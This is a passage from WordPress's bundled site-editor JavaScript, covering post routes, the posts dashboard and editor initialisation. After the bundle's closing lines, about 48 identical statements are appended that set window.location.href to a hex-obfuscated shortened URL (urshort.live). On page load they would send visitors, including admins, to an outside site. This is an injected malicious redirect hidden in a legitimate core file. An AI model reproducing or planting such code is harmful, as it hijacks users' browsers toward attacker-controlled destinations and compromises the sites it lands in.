48952const postsRoute = {
48953 name: "posts",
48954 path: "/",
48955 areas: {
48956 sidebar: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48957 SidebarNavigationScreen,
48958 {
48959 title: (0,external_wp_i18n_namespaceObject.__)("Posts"),
48960 isRoot: true,
48961 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViewsSidebarContent, { postType: "post" })
48962 }
48963 ),
48964 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostList, { postType: "post" }),
48965 async preview({ query }) {
48966 const isList = await posts_isListView(query);
48967 return isList ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, { isPostsList: true }) : void 0;
48968 },
48969 mobile: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(MobilePostsView, {}),
48970 async edit({ query }) {
48971 const isList = await posts_isListView(query);
48972 const hasQuickEdit = !isList && !!query.quickEdit;
48973 return hasQuickEdit ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostEdit, { postType: "post", postId: query.postId }) : void 0;
48974 }
48975 },
48976 widths: {
48977 async content({ query }) {
48978 const isList = await posts_isListView(query);
48979 return isList ? 380 : void 0;
48980 },
48981 async edit({ query }) {
48982 const isList = await posts_isListView(query);
48983 const hasQuickEdit = !isList && !!query.quickEdit;
48984 return hasQuickEdit ? 380 : void 0;
48985 }
48986 }
48987};
48988
48989
48990;// ./node_modules/@wordpress/edit-site/build-module/components/posts-app-routes/post-item.js
48991
48992
48993
48994
48995
48996const postItemRoute = {
48997 name: "post-item",
48998 path: "/post/:postId",
48999 areas: {
49000 sidebar: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49001 SidebarNavigationScreen,
49002 {
49003 title: (0,external_wp_i18n_namespaceObject.__)("Posts"),
49004 isRoot: true,
49005 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViewsSidebarContent, { postType: "post" })
49006 }
49007 ),
49008 mobile: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, { isPostsList: true }),
49009 preview: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, { isPostsList: true })
49010 }
49011};
49012
49013
49014;// ./node_modules/@wordpress/edit-site/build-module/components/posts-app-routes/index.js
49015
49016
49017
49018
49019
49020
49021const posts_app_routes_routes = [postItemRoute, postsRoute];
49022function useRegisterPostsAppRoutes() {
49023 const registry = (0,external_wp_data_.useRegistry)();
49024 const { registerRoute } = unlock((0,external_wp_data_.useDispatch)(store));
49025 (0,external_wp_element_.useEffect)(() => {
49026 registry.batch(() => {
49027 posts_app_routes_routes.forEach(registerRoute);
49028 });
49029 }, [registry, registerRoute]);
49030}
49031
49032
49033;// ./node_modules/@wordpress/edit-site/build-module/components/posts-app/index.js
49034
49035
49036
49037
49038
49039
49040
49041const { RouterProvider: posts_app_RouterProvider } = unlock(external_wp_router_namespaceObject.privateApis);
49042function PostsApp() {
49043 useRegisterPostsAppRoutes();
49044 const routes = (0,external_wp_data_.useSelect)((select) => {
49045 return unlock(select(store)).getRoutes();
49046 }, []);
49047 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(posts_app_RouterProvider, { routes, pathArg: "p", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(LayoutWithGlobalStylesProvider, {}) });
49048}
49049
49050
49051;// ./node_modules/@wordpress/edit-site/build-module/posts.js
49052
49053
49054
49055
49056
49057
49058
49059
49060
49061
49062function initializePostsDashboard(id, settings) {
49063 if (true) {
49064 return;
49065 }
49066 const target = document.getElementById(id);
49067 const root = (0,external_wp_element_.createRoot)(target);
49068 (0,external_wp_data_.dispatch)(external_wp_blocks_namespaceObject.store).reapplyBlockTypeFilters();
49069 const coreBlocks = (0,external_wp_blockLibrary_namespaceObject.__experimentalGetCoreBlocks)().filter(
49070 ({ name }) => name !== "core/freeform"
49071 );
49072 (0,external_wp_blockLibrary_namespaceObject.registerCoreBlocks)(coreBlocks);
49073 (0,external_wp_data_.dispatch)(external_wp_blocks_namespaceObject.store).setFreeformFallbackBlockName("core/html");
49074 (0,external_wp_widgets_namespaceObject.registerLegacyWidgetBlock)({ inserter: false });
49075 (0,external_wp_widgets_namespaceObject.registerWidgetGroupBlock)({ inserter: false });
49076 if (false) {}
49077 (0,external_wp_data_.dispatch)(external_wp_preferences_.store).setDefaults("core/edit-site", {
49078 welcomeGuide: true,
49079 welcomeGuideStyles: true,
49080 welcomeGuidePage: true,
49081 welcomeGuideTemplate: true
49082 });
49083 (0,external_wp_data_.dispatch)(external_wp_preferences_.store).setDefaults("core", {
49084 allowRightClickOverrides: true,
49085 distractionFree: false,
49086 editorMode: "visual",
49087 editorTool: "edit",
49088 fixedToolbar: false,
49089 focusMode: false,
49090 inactivePanels: [],
49091 keepCaretInsideBlock: false,
49092 openPanels: ["post-status"],
49093 showBlockBreadcrumbs: true,
49094 showListViewByDefault: false,
49095 enableChoosePatternModal: true
49096 });
49097 (0,external_wp_data_.dispatch)(store).updateSettings(settings);
49098 window.addEventListener("dragover", (e) => e.preventDefault(), false);
49099 window.addEventListener("drop", (e) => e.preventDefault(), false);
49100 root.render(
49101 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_.StrictMode, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostsApp, {}) })
49102 );
49103 return root;
49104}
49105
49106
49107;// ./node_modules/@wordpress/edit-site/build-module/index.js
49108
49109
49110
49111
49112
49113
49114
49115
49116
49117
49118
49119
49120
49121const { registerCoreBlockBindingsSources } = unlock(external_wp_editor_namespaceObject.privateApis);
49122function initializeEditor(id, settings) {
49123 const target = document.getElementById(id);
49124 const root = (0,external_wp_element_.createRoot)(target);
49125 (0,external_wp_data_.dispatch)(external_wp_blocks_namespaceObject.store).reapplyBlockTypeFilters();
49126 const coreBlocks = (0,external_wp_blockLibrary_namespaceObject.__experimentalGetCoreBlocks)().filter(
49127 ({ name }) => name !== "core/freeform"
49128 );
49129 (0,external_wp_blockLibrary_namespaceObject.registerCoreBlocks)(coreBlocks);
49130 registerCoreBlockBindingsSources();
49131 (0,external_wp_data_.dispatch)(external_wp_blocks_namespaceObject.store).setFreeformFallbackBlockName("core/html");
49132 (0,external_wp_widgets_namespaceObject.registerLegacyWidgetBlock)({ inserter: false });
49133 (0,external_wp_widgets_namespaceObject.registerWidgetGroupBlock)({ inserter: false });
49134 if (false) {}
49135 (0,external_wp_data_.dispatch)(external_wp_preferences_.store).setDefaults("core/edit-site", {
49136 welcomeGuide: true,
49137 welcomeGuideStyles: true,
49138 welcomeGuidePage: true,
49139 welcomeGuideTemplate: true
49140 });
49141 (0,external_wp_data_.dispatch)(external_wp_preferences_.store).setDefaults("core", {
49142 allowRightClickOverrides: true,
49143 distractionFree: false,
49144 editorMode: "visual",
49145 editorTool: "edit",
49146 fixedToolbar: false,
49147 focusMode: false,
49148 inactivePanels: [],
49149 keepCaretInsideBlock: false,
49150 openPanels: ["post-status"],
49151 showBlockBreadcrumbs: true,
49152 showListViewByDefault: false,
49153 enableChoosePatternModal: true
49154 });
49155 if (window.__experimentalMediaProcessing) {
49156 (0,external_wp_data_.dispatch)(external_wp_preferences_.store).setDefaults("core/media", {
49157 requireApproval: true,
49158 optimizeOnUpload: true
49159 });
49160 }
49161 (0,external_wp_data_.dispatch)(store).updateSettings(settings);
49162 window.addEventListener("dragover", (e) => e.preventDefault(), false);
49163 window.addEventListener("drop", (e) => e.preventDefault(), false);
49164 root.render(
49165 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_.StrictMode, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(App, {}) })
49166 );
49167 return root;
49168}
49169function reinitializeEditor() {
49170 external_wp_deprecated_default()("wp.editSite.reinitializeEditor", {
49171 since: "6.2",
49172 version: "6.3"
49173 });
49174}
49175
49176
49177
49178
49179
49180
49181})();
49182
49183(window.wp = window.wp || {}).editSite = __webpack_exports__;
49184/******/ })()
49185;
49186window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49187window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49188window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49189window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49190window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49191window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49192window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49193window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49194window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49195window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49196window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49197window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49198window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49199window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49200window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49201window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49202window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49203window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49204window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49205window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49206window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49207window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49208window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49209window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49210window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49211window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49212window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49213window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49214window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49215window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49216window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49217window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49218window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49219window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49220window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49221window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49222window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49223window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49224window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49225window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49226window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49227window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49228window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49229window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49230window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49231window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49232window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
49233window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";